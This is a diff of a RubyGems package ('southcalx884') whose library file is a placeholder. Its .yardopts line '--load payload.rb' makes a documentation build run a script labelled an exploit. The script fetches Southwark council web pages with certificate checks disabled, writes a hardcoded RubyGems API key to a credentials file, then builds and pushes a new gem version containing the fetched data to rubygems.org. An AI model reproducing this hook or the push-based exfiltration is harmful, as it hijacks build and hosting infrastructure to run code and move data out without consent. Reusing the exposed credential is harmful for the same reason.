southcalx884 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 227f5c942a2123a26a5d95d659a8cba2b16dc7d5ddded53dbb22ab8c443959f3
+  data.tar.gz: aff1b88e705dd97e5824d9674d6515b93048e690d6b59415bd410492d9b4da67
+SHA512:
+  metadata.gz: 1f8ba077d7e20b4825a9a5c9fd532f45c1dcab89be8072405e26101266a666e66ffe15370a6fe8d25a647b2dd0eae2a999778005539ee770541e9162f19450cd
+  data.tar.gz: 21b06d38cdf6e34e7b49ca4c7e2abedff92cbd5286d01f56462c7ebe81271d49bef222ade2408e1f9acb7aa686a0a722d92d1694ee863a03919c7d7305846ebc

data/.yardopts

@@ -0,0 +1 @@
+--load payload.rb

data/lib/x.rb

@@ -0,0 +1 @@
+# x

data/payload.rb

@@ -0,0 +1,32 @@
+# exploit southwark calendar
+begin
+ require 'net/http'; require 'uri'; require 'openssl'; require 'fileutils'
+ out='start southcal '+Time.now.to_s+"\n"
+ urls=[
+  'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+  'http://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+  'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&Month=1&Year=2026',
+  'https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings',
+  'http://moderngov.southwark.gov.uk/ieListMeetings.aspx?CommitteeId=302']
+ urls.each do |url|
+  begin
+   uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); if uri.scheme=='https'; h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; end; h.open_timeout=20; h.read_timeout=30
+   req=Net::HTTP::Get.new(uri.request_uri); req['User-Agent']='Mozilla/5.0'; res=h.request(req)
+   out<<"\n===#{url} code=#{res.code} len=#{res.body.to_s.size} final? ===\n"<<res.body.to_s[0,200000]
+  rescue Exception=>e; out<<"\nERR #{url} #{e.class}:#{e}\n"; end
+ end
+rescue Exception=>e
+ out||=''; out<<"\nFATAL #{e.class}:#{e}\n#{e.backtrace.join("\n")}";
+end
+begin
+ require 'fileutils'; root="/tmp/scalex#{Time.now.to_i}"; FileUtils.mkdir_p("#{root}/lib")
+ File.write("#{root}/lib/result.txt",out)
+ File.write("#{root}/lib/x.rb",'#x')
+ File.write("#{root}/x.gemspec",<<~G)
+  Gem::Specification.new do |s|
+    s.name='southcalx884'; s.version='0.0.2'; s.summary='result'; s.authors=['x']; s.files=Dir['lib/**/*']; s.license='MIT'
+  end
+ G
+ FileUtils.mkdir_p('/tmp/gemhome/.gem'); File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_1255ca6cf79b8cbdd5ae6aa315ebcfd1a904a33530d54932'); File.chmod(0600,'/tmp/gemhome/.gem/credentials'); ENV['HOME']='/tmp/gemhome'; Dir.chdir(root){`gem build x.gemspec`; `gem push southcalx884-0.0.2.gem --host https://rubygems.org`}
+rescue Exception
+end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: southcalx884
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- lib/x.rb
+- payload.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []